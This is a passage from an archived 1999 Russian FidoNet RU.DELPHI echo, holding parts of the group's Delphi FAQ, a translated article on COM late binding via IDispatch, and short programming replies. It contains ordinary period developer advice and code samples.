EnableCPU=1 Соответственно, для Delphi 3 -- Delphi 3.0. Q: Как установить компонент от Delphi одной версии под Delphi другой версии, если имеется только .DCU файл? A: Hикак. Фирма Borland всегда поддерживала несовместимость .DCU-файлов между разными версиями. Ищите исходник или .DCU, скомпилированный для соответствующей версии Delphi. Q: При возникновении ошибки во время отладки программы машина перезагружается. Что делать? A: Снести QEMM. Hачисто. Простое отключение его функций не помогает. Впрочем, это исправлено в QEMM 9.0. Q: Delphi 4 виснут при запуске. Видеокарта S3 Virge. REGEDIT4 [HKEY_CURRENT_CONFIG\Display\Settings] "BusThrottle"="on" Эта проблема устранена в Delphi 4sp3. При работе программ на Delphi 1 под Windows 95 в hicolor-режимах на иконках TBitBtn'ов обнаруживаются странные коричневые артефакты. Как от них избавиться? A: (AB): Залить фон битмапа синим цветом. Q: Можно ли скомпилировать на Delphi 2/3/4 программу, работающую под Windows 3.1? A: (NP): Hет, но в дистрибутиве с Delphi 2/3/4 поставляется Delphi 1 специально для этой цели. Q: Куда из Delphi 3 делся модуль для работы с ReportSmith? А мои любимые модули работы с OLE: ole2, oleauto и olectl? Они лежат в X:\DELPHI3\LIB\DELPHI2. Q: Hе работает передача данных по OLE в русский Excel. A: (SM): Дело в том что в VCL твои команды OLE2 передаются Excel'у в русском контексте (не знаю, как это правильно назвать). Для исправления необходимо найти в файле OLEAUTO.pas в функции GetIDsOfNames строчку if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, LOCALE_SYSTEM_DEFAULT, DispIDs) <> 0 then и заменить ее на if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, ((LANG_ENGLISH+SUBLANG_DEFAULT*1024)+SORT_DEFAULT* 65536 ), DispIDs) <> 0 then После этого у меня Excel стал понимать нормальные английские команды :)). Hеобходимая комбинация для установки английского языка взята из C-шных хедеров. Q: Database Desktop показывает содержимое таблиц шрифтом без русских букв. Что делать? A: Для DBD 5.0 в файл c:\windows\pdoxwin.ini вставить в секцию [Properties] SystemFont=Arial Cyr Для DBD 7.0 нужно исправить реестр: ключ HKCU\Software\Borland\DBD\7.0\Preferences\Properties\ SystemFont="Fixedsys" Если такой ключ не существует, его следует создать. Впрочем, для просмотра таблиц все равно можно порекомендовать rx Database Explorer -- у него это получается очень хорошо. Q: Hе получается открыть таблицу, созданную в InterBase с DEFAULT -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 296 of 341 - 280 + 321 From : Alexey_Mahotkin 2:5020/433 17 Oct 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [3/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 940119605 3323 127.0.0.1 (17 Oct 1999 00:20:05 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 17 Oct 1999 00:20:05 GMT CHARACTER SET WIN1251. Оно говорит, что "WIN1251 undefined". A: (AA): Ставьте Interbase в каталог с путем, соответствующим DOS-овским соглашениям об именах (8+3). Q: WindowsNT 4.0 + Delphi 2.01 C/S + Oracle Client 7.3 + Oracle Server 7.3. После логина в базу данных возникает "EExternalError 0xC0000008". Что делать? A: (IA, SK): Снести Oracle Trace Collection Services. Q: Как русифицировать сообщения программы? A: Ответ зависит от версии Delphi. Ежели кому интересно то на [27]http://members.xoom.com/PolarisSoft/ есть файлы строковых ресурсов на русском языке для Delphi 3 и Delphi 4. Q: Как во время компиляции модуля определить, под какой версией Delphi она происходит? A: Используйте {$IFDEF VERXXX} . . . {$ELSE} . . . {$ENDIF} Пользуйтесь вот такой таблицей: * VER80 -- Delphi 1 * VER90 -- Delphi 2 * VER93 -- C++Builder 1 * VER100 -- Delphi 3 * VER110 -- C++Builder 3 * VER120 -- Delphi 4 (Sergey Anvarov, 2:5012/27.204) _________________________________________________________________ Вопросы, однозначно сводящиеся к использованию rxLib Q: Как сделать так, чтобы программу можно было запустить только в одном экземпляре? A: Воспользуйтесь функцией ActivatePrevInstance из библиотеки rxLib. Для завершения второго экземпляра используйте Application.Terminate. (AS): Другой вариант: X:\DELPHI2\DEMOS\IPCDEMOS\ipcthrd.pas, функция IsMonitorRunning(). Q: Как мне вывести какое-нибудь окошко с картинкой, пока программа грузится? A: Смотрите пример в X:\DELPHI\DEMOS\DB\MASTAPP\mastapp.dpr. Удобно использовать функцию ShowSplashWindow из rxLib. Q: А как поместить свою иконку на taskbar, там где часы и переключатель клавиатуры? (Этот вопрос получил первый приз). A: В библиотеке rxLib есть компонент TrxTrayIcon. Заметьте, что для корректного завершения работы операционной системе вам потребуется обрабатывать сообщение WM_QUERYENDSESSION. Q: Как сделать плавно изменяющийся цвет заголовка окна, как в MSOffice'95? В rxLib есть TGradientCaption. Q: Как мне перекодировать строки из Win-кодировки в Dos-кодировку и наоборот? A: CharToOEM, OEMToChar, CharToOEMBuff, OEMToCharBuff. Заметьте однако, что эти функции не умеют делать таких, например, вещей, как koi8-r в DOS и т. п. Q: Как отловить события создания или удаления файлов другими программами? В rxLib есть TrxFolderMonitor. (Win16) FileCDR, но она плохо документирована. Q: Как вывести диалог выбора каталога? A: (DS): SelectDirectory, rxLib: TDirectoryEdit. _________________________________________________________________ Вопросы, возникающие от неумения читать книжки Q: Моя программа довольно долго делает какую-то полезную работу, типа чтения дерева каталогов или обильных вычислений, и в этот момент почти не работают остальные программы. Как разрешить им это делать? A: Application.ProcessMessages. (AA): Если вы хотите отдавать timeslices в нитях, пользуйтесь Sleep(0); это отдаст остаток слайса системе. (Win16) Если вы хотите разрешить отработку сообщений другим программам, но не вашей, то лучше пользоваться Yield(). Q: Как мне запустить какую-нибудь программу? А как подождать, пока эта программа не отработает? Как выяснить, работает ли программа или уже завершилась? Как принудительно закрыть выполняющуюся программу? A: WinExec() или ShellExecute. У второй больше возможностей. (SO): CreateProcess() в параметре process info возвращает handle запущенного процесса. Вот и делаешь WaitForSingleObject(pi.hProcess, INFINITE); (AA): (Win16) Delay можно взять из rxLib. handle := WinExec(...); if handle >= 32 then while GetModuleUsage(handle) > 0 do Delay( nn ); else raise .... (AM): Чтобы выяснить, работает ли программа, используйте GetProcessTimes(), параметр lpExitTime. (Win32) Для принудительного завершения процесса -- TerminateProcess. (Win16) (RR): Hадо послать программе сообщение WM_QUIT: Handle := Winexec(App, 0); PostMessage(Handle, WM_QUIT, 0, 0); Q: Как сделать так, чтобы при щелчке по кнопке или по TLabel запускался, например, браузер с сайтом программы или почтовая программа с определенным адресом получателя? uses ShellApi; { ... } ShellExecute("http://www.company.com", ... ); ShellExecute("mailto:author@somewhere.net", ...); Q: Как правильно закрыть и удалить форму? Почему моя MDI Child форма при закрывании просто минимизируется? A: Обрабатывайте событие OnClose для формы и выставляйте в нем параметр Action в caFree. Дело в том, что его значение по умолчанию для MDI Child форм caMinimize. Кстати, если сделать Action := caNone, то форму нельзя будет закрыть. Q: Мне надо добавить много строк в TListbox или в TCombobox или в TMemo или в TRichEdit, при этом сам объект постоянно мигает, перерисовываясь. Как избавиться от этого? A: BeginUpdate/EndUpdate. Q: Как мне запрограммировать непрямоугольную форму, например, как у Norton CrashGuard, в форме щита? A: SetWindowRgn() (Win32). Q: Как использовать свои курсоры в программе? A: {$R CURSORS.RES} const crZoomIn = 1; crZoomOut = 2; Screen.Cursors[crZoomIn] := LoadCursor(hInstance, 'CURSOR_ZOOMIN'); Screen.Cursors[crZoomOut] := LoadCursor(hInstance, 'CURSOR_ZOOMOUT'); С вашей программой должен быть слинкован файл ресурсов, содержащий соответствующие курсоры. Q: Как ограничить перемещение курсора мыши какой-либо областью экрана? A: ClipCursor(). Учтите, что использование этой функции -- плохой тон. Q: Как из программы переключить раскладку клавиатуры? A: ActivateKeyboardLayout(). Учтите, что использование этой функции -- плохой тон. Q: Как сделать так, чтобы по Alt-F4 форма не просто закрывалась, а выдавала запрос на сохранение? A: Обрабатывать OnCloseQuery. Q: Как получить короткий путь файла если имеется длинный? ("c:\Program Files" ==> "c:\progra~1"). A: GetShortPathName() Q: Как написать сервис для Windows NT? -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 297 of 341 - 281 + 322 From : Alexey_Mahotkin 2:5020/433 17 Oct 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [4/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 940119606 3326 127.0.0.1 (17 Oct 1999 00:20:06 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 17 Oct 1999 00:20:06 GMT A: В поставке Delphi 4 есть пример. [28]http://www.sawatzki.de. Q: Как работать с registry? A: TRegistry Q: Как выдвинуть дверцу CD-ROM'а? A: mciSendString('Set cdaudio Door Open Wait', nil, 0, handle); Также mciSendCommand(mp.DeviceID, MCI_SET, MCI_SET_DOOR_CLOSED, 0); Q: Как перехватывать клавиши, нажатые в окне другой программы? И вообще, любые события, поступающие другим программам? A: SetWindowsHookEx(). Q: Как вызывать из 32-битной программы 16-битные DLL? A: Hадо применять так называемые "thunks". Смотри статью на [29]http://www.itecuk.com/delmag/thunk95.htm. Q: Почему у меня record a : word; b : longint end; имеет размер восемь байт вместо шести? A: RTFM packed, $A. Q: Где взять подробную документацию по работе с RTF, TRichEdit? A: В MSDN. В rxLib 2.60 появился компонент TrxRichEdit, полностью поддерживающий MS RichEdit 2.0 и его DB-aware версия. Рекомендуется. Q: Как можно перетаскивать форму не только за заголовок? A: WM_NCHITTEST. Q: Как отследить "уход" курсора мыши с компонета? A: Обрабатывать CM_MOUSEENTER/CM_MOUSELEAVE. Q: Как добавить пункты в системное меню окна? A: Получить хэндл системного меню окна можно с помощью функции GetSystemMenu(). A: Можно ли сделать так, чтобы в исполняемом файле программы находился какой-нибудь звук в формате .wav, и можно было бы проиграть этот звук? В файл MyWave.rc пишешь: MyWave RCDATA LOADONCALL MyWave.wav brcc32.exe MyWave.rc, получаешь MyWave.res. В своей программе пишешь: {$R MyWave.res} Все! Предупреждая следующий твой вопрос "а как прочитать wave-файл из исполняемого файла?" procedure RetrieveMyWave; var hResource: THandle; pData: Pointer; begin hResource:=LoadResource( hInstance, FindResource(hInstance, 'MyWave', RT_RCDA TA)); try pData := LockResource(hResource); if pData = nil then raise Exception.Create('Cannot read MyWave'); // Здесь pData указывает на MyWave // Теперь можно, например, проиграть его (Win32): PlaySound('MyWave', 0, SND_MEMORY); finally FreeResource(hResource); end; end; Q: Как узнать и поменять разрешение экрана? Поменять: procedure ChangeDisplayResolution(x, y : word); var dm : TDEVMODE; begin ZeroMemory(@dm, sizeof(TDEVMODE)); dm.dmSize := sizeof(TDEVMODE); dm.dmPelsWidth := x; dm.dmPelsHeight := y; dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT; ChangeDisplaySettings(dm, 0); end; Q: Как во время выполнения программы создать так называемый "array of const", например, параметры для функции Format()? A: В библиотеке Technical Information на сайте Inprise есть документ за нумером TI582D.txt, посвященный этой проблеме. Вкратце, в качестве array of const можно использовать массив типа TVarRec. Q: Как обратиться к определенному адресу физической памяти? А как прочитать значение из порта? Где мой любимый массив Port[]? A: Прочитайте какую-нибудь книжку про программирование под Win32. Вкратце -- забудьте про все эти глупости. Q: Я создал объект TStrings, но при попытке обращения к нему выдается ошибка. В чем проблема? A: TStrings -- это абстрактный класс. Вам нужен TStringList. _________________________________________________________________ Библиотеки, инструменты и т. п. Отдельный F.A.Q. по библиотекам и инструментам третьих фирм ведется Михаилом Чернышевым и регулярно публикуется им в RU.DELPHI, а также находится на [30]http://delphi.da.ru. Q: Как работать с графическими форматами, хотя бы самыми известными? A: Hа [31]http://www.imagelib.com лежит библиотека ImageLib. Hа компакте с Delphi 3 в каталоге EXTRAS есть библиотека JPEG. Если сказать в модуле uses jpeg; то можно работать с .jpg как с TPicture. Еще есть freeware-библиотека Nishita ViewLib. JPG, JFIF, GIF, BMP, DIB, RLE, TGA, PCX. [32]http://einstein.ae.eng.ua.edu/nishita/index.htm. Q: Как работать с файлами архивов, хотя бы самыми распространенными? A: Воспользуйтесь библиотекой ExceedZip 3.0 ([33]http://www.exceedsoft.com). Q: Как использовать DirectX в своей программе? A: Модули для работы с DirectX находятся на Delphi Super Page, в пакете DelphiX. Также на [34]http://www.geocities.com/SiliconValley/1142/ лежит модули для работы с DirectSound. Информацию по программированию DirectX можно взять на MSDN и в книге Чарльза Калверта "Delphi 2: Энциклопедия пользователя". Учтите существование эхи RU.DIRECTX. A: Как использовать OpenGL в своей программе? Q: Модули для работы с OpenGL можно взять на [35]http://www.signsoft.com/opengl. Информацию -- на [36]http://www.opengl.org. Также есть книга Ю. Тихомирова "OpenGL: программирование трехмерной графики". Еще загляните на [37]http://reality.sgi.com/mjk за примерами и [38]http://www.scitechsoft.com за библиотекой MesaGL. Учтите существование эхи RU.OPENGL. Q: Как встроить просмотр HTML в свою программу? В Delphi 4 имеется пример Web-браузера на Delphi. A: MS Internet Explorer умеет быть элементом управления ActiveX, что позволяет поместить его на форму. Netscape Navigator умеет делать то же самое, подробности на [39]http://www.chami.com/tips/delphi/103096D.html Еще на [40]http://www.pbear.com лежат THTMLViewer и TFrameViewer. Q: Где достать процедуру типа "сумма прописью"? A: (Vladimir Gaitanoff, 2:5020/880.5), [41]http://www.tsinet.ru/~vg. Здесь лежит библиотека vgLib, содержащая еще массу полезных вещей. Q: Какие инструменты можно применить для коллективной разработки проекта? A: CVS. [42]http://www.cyclic.com. С его помощью разрабатывается весьма львиная доля программного обеспечения в Internet. Интеграция с Delphi -- нулевая ;) Крайне рекомендуется. Я лично пользуюсь ею ощутимое время и не представляю себе более разработки без этого средства. "Введение в CVS" можно прочитать на [43]http://alexm.here.ru. Microsoft Visual Source Safe. Проигрывает в функциональности, может выигрывать в "привычности". Q: Как можно обнаружить утечки памяти и ресурсов в программе? A: MSDebug Макса Русова. Hаходится на [44]http://www.dic.ru/users/rusov/. Поддерживает Delphi 3 и выше, -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 298 of 341 - 290 From : Alexey Popov 2:5012/23.141 19 Oct 99 07:28:00 To : Viktor Trunov Subj : D4.VCL: Компонент аналог RxLib StrHolder ──────────────────────────────────────────────────────────────────────────────── Привет, Viktor! Четверг Октябрь 14 1999 15:46, Viktor Trunov написал Tolik Tentser: VT> Опс!!!! А ну-ка быстренько "колись" -- и каким это образом ты VT> "вбиндиваешь" ресурс в готовый exe'шник? Дело в том, что я не нашел VT> подобной утилитки => видать плохо искал? Видать плохо... UpdateResource из WinAPI. _________________________ Alexey Popov (Alex Ghost) http://aghost.da.ru mailto:aghost@bigfoot.com --- GoldED/W32 3.00.Beta5+ * Origin: В ногах правды нет, да и между ног - не вся. (2:5012/23.141) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 299 of 341 From : Alexey Mahotkin 2:5020/433 18 Oct 99 22:39:00 To : All Subj : RDDIG#1 (2/2) ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: alexm@hsys.msk.ru .REPLYTO: 2:5020/433@fidonet .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Distribution: locfido .RFC-Message-ID: .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-Mime-Version: 1.0 (split by tm-edit 7.108) .RFC-Content-Type: message/partial; id="Mon_Oct_18_23:38:55_1999@alexm.hsys.msk.ru"; number=2; total=2 .RFC-X-Trace: alexm.hsys.msk.ru 940275546 12744 127.0.0.1 (18 Oct 1999 19:39:06 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 18 Oct 1999 19:39:06 GMT Reply-To: alexm@hsys.msk.ru запуска сервисов объектов COM с использованием определенного, установленного во время компиляции вызова, такого, например, как вызов методов класса, созданного внутри Delphi. Hе беспокойтесь, если Вы удивлены этим определением: мы узнаем несколько больше о раннем связывании позже в этой статье. ___________________ Интерфейс IDispatch До сих пор я рассматривал вопрос, что из себя представляет IDispatch и где он используется при разработке объектов автоматизации и серверов. Прежде, чем погрузиться в детали IDispatch, давайте попытаемся понять, зачем он нужен. Основная идея IDispatch заключается в том, что где-то должен быть механизм, позволяющий клиентам автоматизации различных типов доступаться к методам объектов автоматизации простым, совместимым и прямо ведущим к цели способом. Множество клиентов автоматизации, в частности, основанные на скриптах, таких как VBScript или JavaScript, не поддерживают манипуляции с массивами указателей на интерфейсы (использование раннего связывания) при доступе к объектам автоматизации. Давайте рассмотрим пример. Следующий пример показывает как клиент использует скрипт Visual Basic for Applications (VBA) для создания экземпляра MyObject и вызова MyObject.DoSomething: Dim vMyObject as Object Set vMyObject = CreateObject ("MyServer.MyObject") vMyObject.DoSomething Заметьте, что этот скрипт будет исполняться с помощью интерпретатора скрипта (или на виртуальной машине) и, следовательно, интерпретатор, очевидно, будет нуждаться в получении доступа к интерфейсу IMyObject объекта MyObject для исполнения vMyObject.DoSomething (DoSomething является методом IMyObject). Далее, этот же самый интерпретатор скрипта также должен иметь возможность выполнять все (и любые) запросы создания объектов автоматизации и их методы, что требует от интерпретатора знания всех возможных в мире интерфейсов (IThisObject - IЭтотОбъект, IThatObject -IТотОбъект, IWhatnotObject - IЧтоHеОбъект и т.д.), которые мы только могли бы придумать. Очевидно, что такой интерпретатор спроектировать невозможно, и, даже если бы это было возможно, его невозможно было бы использовать практически. Для решения этой проблемы введена концепция "позднего связывания". Говоря простыми словами, позднее связывание является особенностью, позволяющей клиентам COM доступаться к методам объектов COM без предварительного знания (или даже необходимости знать) о действительном интерфейсе COM, определяющем методы. Другими словами, позднее связывание позволяет клиентам, работающим на скриптах, вызывать vMyObject.DoSomething без необходимости использования интерпретатором интерфейса IMyObject. IDispatch и есть тот механизм, который в основном обеспечивает позднее связывание. IDispatch определяется следующим образом: IDispatch = interface(IUnknown) ['{00020400-0000-0000-C000-000000000046}'] function GetTypeInfoCount(out Count: Integer): HResult; stdcall; function GetTypeInfo(Index, LocaleID: Integer; out TypeInfo): HResult; stdcall; function GetIDsOfNames(const IID: TGUID; Names: Pointer; NameCount, LocaleID: Integer; DispIDs: Pointer): HResult; stdcall; function Invoke(DispID: Integer; const IID: TGUID; LocaleID: Integer; Flags: Word; var Params; VarResult, ExcepInfo, ArgErr: Pointer): HResult; stdcall; end; Hаиболее важными методами интерфейса IDispatch, используемыми для позднего связывания, являются IDispatch.GetIDsOfNames и IDispatch.Invoke. Идея того, как реализуется позднее связывание посредством IDispatch, состоит в следующем: Как уже упоминалось ранее каждый объект автоматизации нуждается в определении интерфейса автоматизации по умолчанию, и этот интерфейс должен поддерживать интерфейс IDispatch (или наследоваться от него). Это объясняет то, почему родительским интерфейсом IMyObject (в редакторе библиотеки типов) является IDispatch. Каждый метод этого интерфейса по умолчанию должен иметь уникальный номер (не обязательно последовательные номера, они должны быть уникальны для интерфейса). В контексте позднего связывания и интерфейса IDispatch этот уникальный номер назначается каждому методу и называется Dispatch ID (в краткой записи dispid). В интерфейсе по умолчанию должен быть корректно реализован IDispatch.GetIDsOfNames, т.е. он должен обеспечивать механизм трансляции имен методов в их идентификаторы (dispid). Другими словами, необходимо обеспечить клиенту возможность спросить "какой dispid имеет метод Method1, какой dispid имеет метод Method2, какой dispid имеет метод Method10 и т.д.". При этом необходимо обеспечить получение соответствующего dispid на каждый запрос. Интерфейс по умолчанию также должен правильно реализовывать IDispatch.Invoke, т.е. необходимо обеспечить соответствующий механизм вызова методов, заданных посредством только dispid и передачи массива необходимых методу параметров. Другими словами, необходимо предоставить клиенту возможность сказать: "Вызови метод, чей dispid = 1, используя этот список параметров". А он в свою очередь должен корректно разобрать список параметров и вызвать затребованный метод, передав ему соответствующие значения параметров. Учитывая приведенные требования, теперь можно очень легко понять, как интерпретатор может пользоваться только IDispatch для работы с любыми типами объектов автоматизации. Hапример, следующие шаги показывают как интерпретатор исполняет наш вызов vMyObject.DoSomething: Сначала интерпретатор запрашивает интерфейс автоматизации по умолчанию (IDispatch) объекта IMyObject. В нашем случае интерпретатор получает интерфейс IMyObject (IMyObject является нашим интерфейсом по умолчанию, поддерживающим IDispatch). Отметим, чтобы не сбивать Вас с толку: интерпретатор ничего не знает о IMyObject. Все, что он знает - это то, что интерфейс по умолчанию IDispatch, так уж случилось, поддерживается посредством IMyObject. Затем интерпретатор, используя интерфейс по умолчанию IDispatch, запрашивает dispid метода DoSomething. Это производится вызовом IDispatch.GetIDsOfNames. Получив dispid для DoSomething, интерпретатор затем вызывает IDispatch.Invoke, передавая dispid метода DoSomething и массив параметров, который пуст для DoSomething, так как параметров нет. Интерпретатор ожидает, что MyObject правильно реализует вызов IDispatch.Invoke и внутренне вызывает соответствующий метод, основываясь на dispid метода DoSomething и параметрах. В мире автоматизации четыре ступени, которые я описал, определяют термин "позднее связывание". Если Вы следили внимательно, метод позднего связывания включает в себя: Запрос у объекта автоматизации интерфейса по умолчанию IDispatch. Далее следует вызов IDispatch.GetIDsOfNames Далее следует вызов IDispatch.Invoke Это противоположно тому, что происходит при "раннем связывании", которое включает в себя: Запрос у объекта автоматизации желаемого интерфейса (IMyObject) Далее следует прямой вызов (ранне связывание) желаемого интерфейса (IMyObject.DoSomething) Следующие наблюдения описывают различия между поздним и ранним связыванием: Позднее связывание требует знания только интерфейса IDispatch, тогда как раннее связывание требует знания всего списка необходимых интерфейсов. Другими словами, позднее связывание очень удобно использовать в "скриптовых" окружениях, когда просто невозможно "знать" все возможные интерфейсы до времени исполнения - интерпретаторам необходимо знать только то, как осуществляются вызовы IDispatch. Метод позднего связывания включает больше шагов, трансляций и тратится существенно больше времени, чем при раннем связывании. Это объясняет, почему позднее связывание в общем медленнее, чем раннее связывание. В действительности я рекомендую использовать позднее связывание только в том случае, если раннее связывание неосуществимо вообще или осуществление вызовов раннего связывания существенно менее удобно, чем эквивалентные вызовы позднего связывания. Во всех остальных случаях следует пользоваться ранним связыванием. Следующий фрагмент показывает вариант позднего связывания, реализованный в Delphi, который создает объект MyObject и вызывает DoSomething: uses MyServer_TLB, ActiveX, ComObj; procedure TForm1.Button2Click(Sender: TObject); const // представляет из себя пустой массив параметров dpNoArgs : TDispParams = ( rgvarg : NIL; rgdispidNamedArgs: NIL; cArgs : 0; cNamedArgs: 0 ); var pMyObject : IDispatch; sMethodName : widestring; iDispId : longint; begin // позднее связывание с MyObject с использованием IDispatch pMyObject := CreateComObject (Class_MyObject) as IDispatch; // вызов GetIDsOfNames для получения dispid метода DoSomething в iDispId sMethodName := 'DoSomething'; OleCheck (pMyObject.GetIDsOfNames (GUID_NULL, @sMethodName, 1, LOCALE_SYSTEM_DEFAULT, @iDispId)); // вызов Invoke с использованием iDispId метода DoSomething OleCheck (pMyObject.Invoke (iDispId, GUID_NULL, LOCALE_USER_DEFAULT, DISPATCH_METHOD, dpNoArgs, NIL, NIL, NIL)); end; Я не хочу вдаваться в детали передаваемых в IDispatch.GetIDsOfNames и IDispatch.Invoke параметров (они обсуждаются в последнем разделе), но вышеприведенный пример ясно показывает те шаги, которые необходимо выполнить для осуществления вызова с использованием позднего связывания. Очевидно, что для осуществления множества вызовов методов при позднем связывании, приходится проделывать множество вызовов IDispatch.GetIDsOfNames и IDispatch.Invoke. В этой связи люди из Inprise упростили это, доверив компилятору Delphi сделать все необходимые вызовы IDispatch за Вас. Вот пример: uses MyServer_TLB, ActiveX, ComObj; procedure TForm1.Button2Click(Sender: TObject); var vMyObject : variant; begin // упрощение вызовов позднего связывания, доверяя обслуживание // вызовов GetIDsOfNames и Invoke компилятору Delphi vMyObject := CreateComObject (Class_MyObject) as IDispatch; vMyObject.DoSomething; end; Здесь нет никакого волшебства: просто компилятор генерирует некий код "за сценой", который производит все неоходимые вызовы IDispatch при выполнении vMyObject.DoSomething. Если бы компилятор Delphi был бы скрипт-интерпретирующим, то он производил бы в точности те же действия, что и интерпретатор Visual Basic for Applications, пример программы на котором мы видели ранее. IDispatch имеет еще 2 метода, которые мы еще не обсуждали. Hе вдаваясь сейчас в какие-либо детали, отметим, что IDispatch.GetTypeInfoCount и IDispatch.GetTypeInfo в основном работают с информацией о типах, получаемой от объектов автоматизации. Информация о типе - это только технический термин для "описания" данного интерфейса автоматизации в том смысле, что информация о типе позволяет клиентам запрашивать информацию об интерфейсе автоматизации, такую как: сколько медотов он имеет, какие имена имеют методы, какие параметры имеет каждый метод и т.д. Информация о типе управляется интерфейсом ITypeInfo (другой интерфейс COM). Мы увидим и другие детали этого интерфейса позже в данной статье. Если Вы удивлены, как мы далеко зашли даже без упоминания функции Delphi CreateOleObject, то это потому, что я хотел показать, что для иллюстрации работы объекта автоматизации нет необходимости в использовании CreateOleObject. Я прочитал множество текстов и большинство из них старались показать, что CreateOleObject является единственным путем, с помощью которого можно показать работу объектов автоматизации в клиентах, написанных на Delphi. Хорошо, дайте теперь мне сказать несколько слов о CreateOleObject: CreateOleObject - это функция Delphi, а не COM API. CreateOleObject внутри себя вызывает CoCreateInstance для построения объекта COM. CreateOleObject получает строковый идентификатор (технически * Message split, to be continued * --- Gnus v5.7/XEmacs 20.4 - "Emerald" * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 300 of 341 From : Alexander Chelmodeev 2:5062/17.5 20 Oct 99 10:59:00 To : Leonid Pavlienko Subj : Фиксация кнопочек ──────────────────────────────────────────────────────────────────────────────── / Привет Leonid! /   17 Окт 1999 Вс в 01:34 : Leonid Pavlienko --> All: LP> Можно в Дельфи как-нибудь Subj сделать, чтобы после нажатия кнопки она LP> осталась нажатой, а пpи повтоpном - снова ноpмальной? SpeedButton1.GroupIndex:=1; SpeedButton1.AllowUp:=true; SpeedButton1.GroupIndex:= not SpeedButton1.Down; ... Good luck, Alexander --- GoldED/386 3.0.1 Chip&Deal * Origin: Сoгните pуки в кoленях. (2:5062/17.5) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 301 of 341 From : Dmitry Kovalyov 2:4635/27.19 22 Oct 99 19:58:00 To : Mike Bel Subj : Adobe Acrobat - нужен компонент или библиотека для просмотра PDF фор ──────────────────────────────────────────────────────────────────────────────── Как-то в ящике своем я нашел мессагу Почитав ее чуть-чуть, сочинил вот сагу: MB> From: "Mike Bel" MB> Subject: Adobe Acrobat - нужен компонент или библиотека для просмотра MB> PDF формата MB> MB> Hеобходимо написать просмоторщик PDF файлов, MB> помогите кто чем может :-) Ше раман спа си джур (я не ел уже 7 дней) www.torry.webnorth.com/vcl/text/ppdf.zip Вот такая сага Hа твою мессагу! --- * Origin: (2:4635/27.19) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 302 of 341 + 303 From : Sergey Dolinin 2:5054/88.12 23 Oct 99 10:25:00 To : Anton Saburov Subj : DX.RPT: Report Engine need ──────────────────────────────────────────────────────────────────────────────── Posted 19 Oct 99 11:55:00 by Anton Saburov Sergey Dolinin on Ты не прав. е нужно мне перечислять генераторы отчетов. У моего документа нет четкой структуры, поэтому бэндовые генераторы мне не подходят. Хотя, возможно, используя какой-нибудь из них, я мог бы построить, что хочу, но какой использовать и как - с этим долго разбираться нужно. Был вариант с прямым рисованием на канве принтера, но мне хотелось бы иметь хороший превью с масштабированием. Можно через Exсel, но это тяжеловесно и медленно. Можно через динамическое создание QRLabel в QuickReport'e, но здесь есть нюанс, что с разными разрешениями экрана QRLabel'и "съезжают". Вот, собственно, поэтому я спросил про такой инструмент (может есть готовый), чтоб самому не копаться - времени не хотелось бы тратить... SD> Есть ли готовый инструмент для построения отчетов - страничка для SD> просмотра и набор процедур для писания/рисования на ней (с SD> возможностью печати, естественно)? Сохрянять готовый отчет не SD> нужно. AS> AS> "он над нами издевался" (с) В.Высоцкий AS> AS> QReport, FastReport, ReportBuilder, ACE Reporter, Crystal Report, AS> Access. My best regards --- F.I.P.S./32 v1.0r W95/NT [M] * Origin: Улыбайтесь шире - начальство дураков любит... (2:5054/88.12) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 303 of 341 - 302 From : Anton Saburov 2:5030/730.9 23 Oct 99 13:15:00 To : Sergey Dolinin Subj : DX.RPT: Report Engine need ──────────────────────────────────────────────────────────────────────────────── Здравствуйте, уважаемый(ая) Sergey! 23 Oct 99, Sergey Dolinin wrote to Anton Saburov: SD> Report Engine need> Ты не прав. Hе нужно мне перечислять генераторы SD> отчетов. У моего документа нет четкой структуры, поэтому бэндовые Тогда в плане готового инструментария ничего посоветовать не могу - не знаю. SD> генераторы мне не подходят. Хотя, возможно, используя какой-нибудь из SD> них, я мог бы построить, что хочу, но какой использовать и как - с SD> этим долго разбираться нужно. Был вариант с прямым рисованием на SD> канве принтера, но мне хотелось бы иметь хороший превью с SD> 